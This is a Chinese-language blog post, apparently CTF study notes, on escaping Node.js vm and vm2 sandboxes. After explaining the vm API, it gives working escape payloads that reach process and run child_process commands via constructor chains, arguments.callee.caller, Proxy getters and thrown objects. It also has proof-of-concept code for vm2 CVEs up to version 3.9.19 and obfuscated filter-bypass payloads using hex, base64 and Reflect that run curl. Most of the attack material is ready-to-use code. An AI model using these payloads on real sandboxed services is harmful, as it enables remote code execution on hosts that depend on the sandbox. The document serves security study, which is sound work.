vm沙箱逃逸初识

沙箱逃逸初识

https://xz.aliyun.com/t/11859#toc-0

几乎是复现这篇文章,写文章是为了督促自己学习,顺便保存到本地

概念

nodejs是javascript的运行环境,简单来说写在后端的javascript叫做nodejs

沙箱在我看来就是开创一个独立空间来运行有害的代码,从而避免影响到主机的功能

nodejs通过vm模块来创建一个沙箱

node将字符串执行为代码

age.txt

var age = 18

1.js

const fs = require("fs");
let y1 = fs.readFileSync('age.txt','utf-8');
console.log(y1);
eval(y1);
console.log(age);



##var age=18
##18

fs.readFileSync是用来读取文件,也就是y1其实是字符串,我们通过eval执行了一个字符串

但若当前作用域下已经有了同名的age变量就会报错

const fs = require("fs");
let y1 = fs.readFileSync('age.txt','utf-8');

let age = 20;

console.log(y1);
eval(y1);
console.log(age);



SyntaxError: Identifier 'age' has already been declared
    at Object.<anonymous> (d:\ctf文件\nep\1.js:7:6)
    at Module._compile (node:internal/modules/cjs/loader:1256:14)
    at Module._extensions..js (node:internal/modules/cjs/loader:1310:10)
    at Module.load (node:internal/modules/cjs/loader:1119:32)
    at Module._load (node:internal/modules/cjs/loader:960:12)
    at Function.executeUserEntryPoint [as runMain] (node:internal/modules/run_main:86:12)
    at node:internal/main/run_main_module:23:47

方法二:new function

上面使用eval会受到作用域的限制,我们可以使用new Function自己创建一个作用域

let age = 20;

const y2 = new Function('age','return age+1');   //Function记得大写
console.log(y2(age));


## 21

new Function的第一个参数是形参名称,第二个参数是函数体

我们都知道函数内和函数外是两个作用域,不过当在函数中的作用域想要使用函数外的变量时,要通过形参来传递,当参数过多时这种方法就变的麻烦起来了。

从上面两个执行代码的例子可以看出来其实我们的思想就是如何创建一个能够通过传一个字符串就能执行代码,并且还与外部隔绝的作用域,这也就是vm模块的作用

nodejs作用域

Node项目时往往要在一个文件里ruquire其他的js文件,这些文件我们都给它们叫做“包”。每一个包都有一个自己的作用域(也叫上下文),包之间的作用域是互相隔离不互通的,也就是说就算我在y1.js中require了y2.js,那么我在y1.js中也无法直接调用y2.js中的变量和函数

//age.js

var age = 20
//y2.js
const a = require('./age')
console.log(a.age)


##undefined

要想使用age,要用元素输出的接口exports ,把age.js修改成下面这样:

//age.js
var age = 20

exports.age = age

JavaScript中window是全局对象,浏览器其他所有的属性都挂载在window下,那么在服务端的Nodejs中和window类似的全局对象叫做global,Nodejs下其他的所有属性和包都挂载在这个global对象下。在global下挂载了一些全局变量,我们在访问这些全局变量时不需要用global.xxx的方式来访问,直接用xxx就可以调用这个变量。举个例子,console就是挂载在global下的一个全局变量,我们在用console.log输出时并不需要写成global.console.log,其他常见全局变量还有process(一会逃逸要用到)

这一部分学了javascript的人会很容易理解

所以我们可以手动生命全局变量,但全局变量在每个包中都是共享的,很容易被污染

//y1.js
global.age = 20


//y2.js
const a = require("./y1")

console.log(age)






console.log(global)

//global对象
<ref *1> Object [global] {
  global: [Circular *1],
  queueMicrotask: [Function: queueMicrotask],
  clearImmediate: [Function: clearImmediate],
  setImmediate: [Function: setImmediate] {
    [Symbol(nodejs.util.promisify.custom)]: [Getter]
  },
  structuredClone: [Function: structuredClone],
  clearInterval: [Function: clearInterval],
  clearTimeout: [Function: clearTimeout],
  setInterval: [Function: setInterval],
  setTimeout: [Function: setTimeout] {
    [Symbol(nodejs.util.promisify.custom)]: [Getter]
  },
  atob: [Function: atob],
  btoa: [Function: btoa],
  performance: Performance {
    nodeTiming: PerformanceNodeTiming {
      name: 'node',
      entryType: 'node',
      startTime: 0,
      duration: 42.1528000831604,
      nodeStart: 2.7959001064300537,
      v8Start: 6.785400152206421,
      bootstrapComplete: 29.24240016937256,
      environment: 15.710000038146973,
      loopStart: -1,
      loopExit: -1,
      idleTime: 0
    },
    timeOrigin: 1700487785879.164
  },
  fetch: [AsyncFunction: fetch],
  age: 20
}

vm的一些函数(前置知识)

vm.runinThisContext(code):在当前global下创建一个作用域(sandbox),并将接收到的参数当作代码运行。sandbox中可以访问到global中的属性,但无法访问其他包中的属性

image-20231120214548117

const vm = require('vm')

let localvar = 'initial value';
const vmresult = vm.runInThisContext('localvar = "123";');
console.log(vmresult)
console.log(localvar)

//123
//initial value

说明沙箱中的变量不会对当前作用域产生影响

vm.createContext([sandbox]): 在使用前需要先创建一个沙箱对象,再将沙箱对象传给该方法(如果没有则会生成一个空的沙箱对象),v8为这个沙箱对象在当前global外再创建一个作用域,此时这个沙箱对象就是这个作用域的全局对象,沙箱内部无法访问global中的属性。

反正就是无法访问与沙箱同级的对象的属性

vm.runInContext(code, contextifiedSandbox[, options]):参数为要执行的代码和创建完作用域的沙箱对象,代码会在传入的沙箱对象的上下文中执行,并且参数的值与沙箱内的参数值相同。

image-20231120215301885

const util = require('util');
const vm = require('vm');
global.globalVar = 3;
const sandbox = { globalVar: 1 };
vm.createContext(sandbox);
vm.runInContext('globalVar *= 2;', sandbox);
console.log(util.inspect(sandbox)); // { globalVar: 2 }
console.log(util.inspect(globalVar)); // 3

结果应证了上面的说法

  • vm.runInNewContext(code[, sandbox][, options]): creatContext和runInContext的结合版,传入要执行的代码和沙箱对象。
  • vm.Script类 vm.Script类型的实例包含若干预编译的脚本,这些脚本能够在特定的沙箱(或者上下文)中被运行。
  • new vm.Script(code, options):创建一个新的vm.Script对象只编译代码但不会执行它。编译过的vm.Script此后可以被多次执行。值得注意的是,code是不绑定于任何全局对象的,相反,它仅仅绑定于每次执行它的对象。
const util = require('util');
const vm = require('vm');
const sandbox = {
    animal:"cat",
    count:2
};
const script = new vm.Script('count +=1;name = "kitty"');
const context = vm.createContext(sandbox);
script.runInContext(context);
console.log(util.inspect(sandbox));

//{ animal: 'cat', count: 3, name: 'kitty' }

script对象可以通过runInXXXContext运行。

vm沙箱逃逸

进行rce,我们要获取process对象,然后require('child_process')

但是我们上面说了在creatContext后是不能访问到global的,所以我们最终的目标是通过各种办法将global上的process引入到沙箱中。

"use strict";
const vm = require("vm");
const y1 = vm.runInNewContext(`this.constructor.constructor('return process')()`);
console.log(y1);

this指向的是当前传递给runInNewContext的对象,这个对象是不属于沙箱环境的,我们通过这个对象获取到它的构造器,再获得一个构造器对象的构造器(此时为Function的constructor),最后的()是调用这个用Functionconstructor生成的函数,最终返回了一个process对象

const y1 = vm.runInNewContext(`this.toString.constructor('return process')()`);

这样子也可以返回process对象

然后我们就能

y1.mainModule.require('child_process').execSync('whoami').toString()

知识星球上

const vm = require('vm');
const script = `m + n`;
const sandbox = { m: 1, n: 2 };
const context = new vm.createContext(sandbox);
const res = vm.runInContext(script, context);
console.log(res)

我们能不能把this.toString.constructor('return process')()中的this换成{}呢? {}的意思是在沙箱内声明了一个对象,也就是说这个对象是不能访问到global下的。

如果我们将this换成m和n也是访问不到的,因为数字,字符串,布尔这些都是primitive类型,他们在传递的过程中是将值传递过去而不是引用(类似于函数传递形参),在沙盒内使用的mn已经不是原来的mn了,所以无法利用。

我们将mn改成其他类型就可以利用了:

const inspect = require('util').inspect
const vm = require('vm');

const script = new vm.Script(`
(e => {
    const y1 = x.toString.constructor('return process')()  //用m,n,x都行
    return y1.mainModule.require('child_process').execSync('whoami').toString()
})()

`)

const sandbox = {m:[],n:{},x: /regexp/};      //只要m,n,x不为数字,字符串,布尔等都行

const context = new vm.createContext(sandbox);

const res = script.runInContext(context);
console.log(res);

this 获取不到对象时 arguments.callee.caller

const vm = require('vm');
const script = `...`;
const sandbox = Object.create(null);
const context = vm.createContext(sandbox);
const res = vm.runInContext(script, context);
console.log('Hello ' + res)

我们现在的thisnull,并且也没有其他可以引用的对象,这时候想要逃逸我们要用到一个函数中的内置对象的属性arguments.callee.caller,它可以返回函数的调用者。

我们只要在沙箱内定义一个函数,然后在沙箱外调用这个函数,那么这个函数的arguments.callee.caller就会返回沙箱外的一个对象,我们在沙箱内就可以进行逃逸了

1

const vm = require('vm');
const script = 
`(() => {
    const a = {}
    a.toString = function () {
      const cc = arguments.callee.caller;
      const p = (cc.constructor.constructor('return process'))();
      return p.mainModule.require('child_process').execSync('whoami').toString()
    }
    return a
  })()`;

const sandbox = Object.create(null);
const context = new vm.createContext(sandbox);
const res = vm.runInContext(script, context);
console.log('Hello ' + res)

创建了一个对象,我们重写了该对象的toString方法,通过arguments.callee.caller获得到沙箱外的一个对象,沙箱外在console.log中字符串拼接触发toString方法,

2

如果沙箱外没有执行字符串的相关操作来触发这个toString,并且也没有可以用来进行恶意重写的函数,我们可以用Proxy来劫持属性

const vm = require("vm");

const script = 
`
(() =>{
    const a = new Proxy({}, {
        get: function(){
            const cc = arguments.callee.caller;
            const p = (cc.constructor.constructor('return process'))();
            return p.mainModule.require('child_process').execSync('whoami').toString();
        }
    })
    return a
})()
`;
const sandbox = Object.create(null);
const context = new vm.createContext(sandbox);
const res = vm.runInContext(script, context);
console.log(res.abc)

get:这个钩子里写了一个恶意函数,当我们在沙箱外访问proxy对象的任意属性(不论是否存在)这个钩子就会自动运行

感觉像重写了get方法,然后访问属性就触发,跟上面感觉差不多

我最后是console.log("hello "+res);有趣的是,再报错中执行了命令

console.log("hello "+res);
                    ^
TypeError: string "zeropeach\86136

" is not a function
    at Object.<anonymous> (d:\ctf文件\nep\1.js:35:21)
    。。。。。。

但是console.log(res)的结果却是{}

3

沙箱的返回值返回的是我们无法利用的对象或者没有返回值

我们可以借助异常,将沙箱内的对象抛出去,然后在外部输出

const vm = require("vm");

const script = 
`
    throw new Proxy({}, {
        get: function(){
            const cc = arguments.callee.caller;
            const p = (cc.constructor.constructor('return process'))();
            return p.mainModule.require('child_process').execSync('whoami').toString();
        }
    })
`;
try {
    vm.runInContext(script, vm.createContext(Object.create(null)));
}catch(e) {
    console.log("error:" + e) 
}

这里我们用catch捕获到了throw出的proxy对象,在console.log时由于将字符串与对象拼接,将报错信息和rce的回显一起带了出来。

跟上面的一样

4

let obj = {} // 针对该对象的 message 属性定义一个 getter, 当访问 obj.message 时会调用对应的函数
obj.__defineGetter__('message', function(){
    const c = arguments.callee.caller
    const p = (c['constru'+'ctor']['constru'+'ctor']('return pro'+'cess'))()
    return p['mainM'+'odule']['requi'+'re']('child_pr'+'ocess')['ex'+'ecSync']('cat /flag').toString();
})
throw obj

vm2

vm2包的目录结构

image-20231121190950763

  • cli.js实现了可以在命令行中调用vm2 也就是bin下的vm2。
  • contextify.js封装了三个对象:Contextify Decontextify propertyDescriptor,并且针对global的Buffer类进行了代理。
  • main.js 是vm2执行的入口,导出了NodeVM VM这两个沙箱环境,还有一个VMScript实际上是封装了vm.Script
  • sandbox.js针对global的一些函数和变量进行了拦截,比如setTimeout,setInterval

vm2相比vm做出很大的改进,其中之一就是利用了es6新增的proxy特性,从而使用钩子拦截对constructor和__proto__这些属性的访问。

const {VM, VMScript} = require('vm2');

const script = new VMScript("let a = 2;a;");

console.log((new VM()).run(script));

image-20231121191439463

相比于vm的沙箱环境,vm2最重要的一步就是引入sandbox.js并针对context做封装

vm2出现过多次逃逸的问题,所以现有的代码被进行了大量修改,为了方便分析需要使用较老版本的vm2,但github上貌似将3.9以前的版本全都删除了

vm2沙箱绕过

leesh3288’s gists (github.com)

CVE-2019-10761

vm2版本<=3.6.10

"use strict";
const {VM} = require('vm2');
const untrusted = `
const f = Buffer.prototype.write;
const ft = {
        length: 10,
        utf8Write(){

        }
}
function r(i){
    var x = 0;
    try{
        x = r(i);
    }catch(e){}
    if(typeof(x)!=='number')
        return x;
    if(x!==i)
        return x+1;
    try{
        f.call(ft);
    }catch(e){
        return e;
    }
    return null;
}
var i=1;
while(1){
    try{
        i=r(i).constructor.constructor("return process")();
        break;
    }catch(x){
        i++;
    }
}
i.mainModule.require("child_process").execSync("whoami").toString()
`;
try{
    console.log(new VM().run(untrusted));
}catch(x){
    console.log(x);
}

当调用函数次数超过当前环境的最大值时,我们正好调用沙箱外的函数,就会导致沙箱外的调用栈被爆掉,我们在沙箱内catch这个异常对象,就拿到了一个沙箱外的对象。举个例子:

假设当前环境下最大递归值为1000,我们通过程序控制递归999次(注意这里说的递归值不是一直调用同一个函数的最大值,而是单次程序内调用函数次数的最大值,也就是调用栈的最大值):

r(i);      // 该函数递归999次

f.call(ft);    // 递归到第1000次时调用f这个函数,f为Buffer.prototype.write,就是下面图片的这个函数

this.utf8Write()   // 递归到1001次时为该函数,是一个外部函数,所以爆栈时捕捉的异常也是沙箱外,从而返回了一个沙箱外的异常对象

CVE-2021-23449

poc:

let res = import('./foo.js')
res.toString.constructor("return this")().process.mainModule.require("child_process").execSync("whoami").toString();

import()在JavaScript中是一个语法结构,不是函数,没法通过之前对require这种函数处理相同的方法来处理它,导致实际上我们调用import()的结果实际上是没有经过沙箱的,是一个外部变量。 我们再获取这个变量的属性即可绕过沙箱。 vm2对此的修复方法也很粗糙,正则匹配并替换了\bimport\b关键字,在编译失败的时候,报Dynamic Import not supported错误。

VM2 <=3.9.15 POC

const {VM} = require("vm2");
const vm = new VM();

const code = `
aVM2_INTERNAL_TMPNAME = {};
function stack() {
    new Error().stack;
    stack();
}
try {
    stack();
} catch (a$tmpname) {
    a$tmpname.constructor.constructor('return process')().mainModule.require('child_process').execSync('touch pwned');
}
`

console.log(vm.run(code));

vm2<=3.9.16逃逸

const {VM} = require("vm2");
const vm = new VM();

const code = `
err = {};
const handler = {
    getPrototypeOf(target) {
        (function stack() {
            new Error().stack;
            stack();
        })();
    }
};
  
const proxiedErr = new Proxy(err, handler);
try {
    throw proxiedErr;
} catch ({constructor: c}) {
    c.constructor('return process')().mainModule.require('child_process').execSync('touch pwned');
}
`

console.log(vm.run(code));

vm2<=3.9.19 POC

const {VM} = require("vm2");
const vm = new VM();

const code = `
const customInspectSymbol = Symbol.for('nodejs.util.inspect.custom');

obj = {
    [customInspectSymbol]: (depth, opt, inspect) => {
        inspect.constructor('return process')().mainModule.require('child_process').execSync('touch pwned');
    },
    valueOf: undefined,
    constructor: undefined,
}

WebAssembly.compileStreaming(obj).catch(()=>{});
`;

vm.run(code);

vm2<=3.9.19 POC

const {VM} = require("vm2");
const vm = new VM();

const code = `
async function fn() {
    (function stack() {
        new Error().stack;
        stack();
    })();
}
p = fn();
p.constructor = {
    [Symbol.species]: class FakePromise {
        constructor(executor) {
            executor(
                (x) => x,
                (err) => { return err.constructor.constructor('return process')().mainModule.require('child_process').execSync('touch pwned'); }
            )
        }
    }
};
p.then();
`;

console.log(vm.run(code));

知识星球trick

Symbol = {
  get toStringTag(){
    throw f=>f.constructor("return process")()
  }
};
try{
  Buffer.from(new Map());
}catch(f){
  Symbol = {};
  f(()=>{}).mainModule.require("child_process").execSync("whoami").toString();
}

image-20231121201038924

在vm2的原理中提到vm2会为对象配置代理并初始化,如果对象是以下类型:

image-20231121200900952

就会return Decontextify.instance 函数,这个函数中用到了Symbol全局对象,我们可以通过劫持Symbol对象的getter并抛出异常,再在沙箱内拿到这个异常对象就可以了

nodejs命令执行bypass

https://www.anquanke.com/post/id/237032#h2-0

require("child_process")["exe\x63Sync"]("curl 127.0.0.1:1234")

require("child_process")["exe\u0063Sync"]("curl 127.0.0.1:1234")

require('child_process')['exe'%2b'cSync']('curl 127.0.0.1:1234')

require('child_process')[`${`${`exe`}cSync`}`]('curl 127.0.0.1:1234')

require("child_process")["exe".concat("cSync")]("curl 127.0.0.1:1234")

eval(Buffer.from('Z2xvYmFsLnByb2Nlc3MubWFpbk1vZHVsZS5jb25zdHJ1Y3Rvci5fbG9hZCgiY2hpbGRfcHJvY2VzcyIpLmV4ZWNTeW5jKCJjdXJsIDEyNy4wLjAuMToxMjM0Iik=','base64').toString())

其他bypass

Object.keys

实际上通过require导入的模块是一个Object,所以就可以用Object中的方法来操作获取内容。利用Object.values就可以拿到child_process中的各个函数方法,再通过数组下标就可以拿到execSync

console.log(require('child_process').constructor===Object)
//true
Object.values(require('child_process'))[5]('curl 127.0.0.1:1234')

Reflect

在js中,需要使用Reflect这个关键字来实现反射调用函数的方式。譬如要得到eval函数,可以首先通过Reflect.ownKeys(global)拿到所有函数,然后global[Reflect.ownKeys(global).find(x=>x.includes('eval'))]即可得到eval

Explainconsole.log(Reflect.ownKeys(global))
//返回所有函数
console.log(global[Reflect.ownKeys(global).find(x=>x.includes('eval'))])
//拿到eval

拿到eval之后,就可以常规思路rce了

global[Reflect.ownKeys(global).find(x=>x.includes('eval'))]('global.process.mainModule.constructor._load("child_process").execSync("curl 127.0.0.1:1234")')
global[Reflect.ownKeys(global).find(x=>x.includes('eval'))]('\x67\x6c\x6f\x62\x61\x6c\x5b\x52\x65\x66\x6c\x65\x63\x74\x2e\x6f\x77\x6e\x4b\x65\x79\x73\x28\x67\x6c\x6f\x62\x61\x6c\x29\x2e\x66\x69\x6e\x64\x28\x78\x3d\x3e\x78\x2e\x69\x6e\x63\x6c\x75\x64\x65\x73\x28\x27\x65\x76\x61\x6c\x27\x29\x29\x5d\x28\x27\x67\x6c\x6f\x62\x61\x6c\x2e\x70\x72\x6f\x63\x65\x73\x73\x2e\x6d\x61\x69\x6e\x4d\x6f\x64\x75\x6c\x65\x2e\x63\x6f\x6e\x73\x74\x72\x75\x63\x74\x6f\x72\x2e\x5f\x6c\x6f\x61\x64\x28\x22\x63\x68\x69\x6c\x64\x5f\x70\x72\x6f\x63\x65\x73\x73\x22\x29\x2e\x65\x78\x65\x63\x53\x79\x6e\x63\x28\x22\x63\x75\x72\x6c\x20\x31\x32\x37\x2e\x30\x2e\x30\x2e\x31\x3a\x31\x32\x33\x34\x22\x29\x27\x29')

如果过滤了eval关键字,可以用includes('eva')来搜索eval函数,也可以用startswith('eva')来搜索

过滤中括号

Reflect.get(target, propertyKey[, receiver])的作用是获取对象身上某个属性的值,类似于target[name]

所以取eval函数的方式可以变成

Reflect.get(global, Reflect.ownKeys(global).find(x=>x.includes('eva')))
eval(Buffer.from(`Z2xvYmFsLnByb2Nlc3MubWFpbk1vZHVsZS5jb25zdHJ1Y3Rvci5fbG9hZCgiY2hpbGRfcHJvY2VzcyIpLmV4ZWNTeW5jKCJjdXJsIDEyNy4wLjAuMToxMjM0Iik=`,`base64`).toString())

这里过滤了base64,可以直接换成

`base`.concat(64)

过滤掉了Buffer,可以换成

Reflect.get(global, Reflect.ownKeys(global).find(x=>x.startsWith(`Buf`)))

要拿到Buffer.from方法,可以通过下标

Object.values(Reflect.get(global, Reflect.ownKeys(global).find(x=>x.startsWith(`Buf`))))[1]

但问题在于,关键字还过滤了中括号,这一点简单,再加一层Reflect.get

Reflect.get(Object.values(Reflect.get(global, Reflect.ownKeys(global).find(x=>x.startsWith(`Buf`)))),1)

所以基本payload变成

Reflect.get(Object.values(Reflect.get(global, Reflect.ownKeys(global).find(x=>x.startsWith(`Buf`)))),1)(`Z2xvYmFsLnByb2Nlc3MubWFpbk1vZHVsZS5jb25zdHJ1Y3Rvci5fbG9hZCgiY2hpbGRfcHJvY2VzcyIpLmV4ZWNTeW5jKCJjdXJsIDEyNy4wLjAuMToxMjM0Iik=`,`base`.concat(64)).toString()

eval只会进行解码,不会执行,所以要再套一层eval

Reflect.get(global, Reflect.ownKeys(global).find(x=>x.includes('eva')))(Reflect.get(Object.values(Reflect.get(global, Reflect.ownKeys(global).find(x=>x.startsWith(`Buf`)))),1)(`Z2xvYmFsLnByb2Nlc3MubWFpbk1vZHVsZS5jb25zdHJ1Y3Rvci5fbG9hZCgiY2hpbGRfcHJvY2VzcyIpLmV4ZWNTeW5jKCJjdXJsIDEyNy4wLjAuMToxMjM0Iik=`,`base`.concat(64)).toString())

也可以拿到eval后写入16进制字符串

Reflect.get(global, Reflect.ownKeys(global).find(x=>x.includes(`eva`)))(`\x67\x6c\x6f\x62\x61\x6c\x2e\x70\x72\x6f\x63\x65\x73\x73\x2e\x6d\x61\x69\x6e\x4d\x6f\x64\x75\x6c\x65\x2e\x63\x6f\x6e\x73\x74\x72\x75\x63\x74\x6f\x72\x2e\x5f\x6c\x6f\x61\x64\x28\x22\x63\x68\x69\x6c\x64\x5f\x70\x72\x6f\x63\x65\x73\x73\x22\x29\x2e\x65\x78\x65\x63\x53\x79\x6e\x63\x28\x22\x63\x75\x72\x6c\x20\x31\x32\x37\x2e\x30\x2e\x30\x2e\x31\x3a\x31\x32\x33\x34\x22\x29`)

vm沙箱逃逸初识
https://zer0peach.github.io/2023/11/20/vm沙箱逃逸初识/
作者
Zer0peach
发布于
2023年11月20日
许可协议